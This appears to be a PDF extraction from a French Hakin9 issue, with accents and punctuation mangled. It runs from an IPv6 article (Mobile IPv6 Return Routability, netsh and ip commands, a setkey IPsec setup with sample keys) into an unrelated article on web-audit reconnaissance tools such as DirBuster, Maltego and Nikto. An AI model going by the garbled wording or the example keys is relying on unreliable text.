table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 29: hakin9_05_2010_FR

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

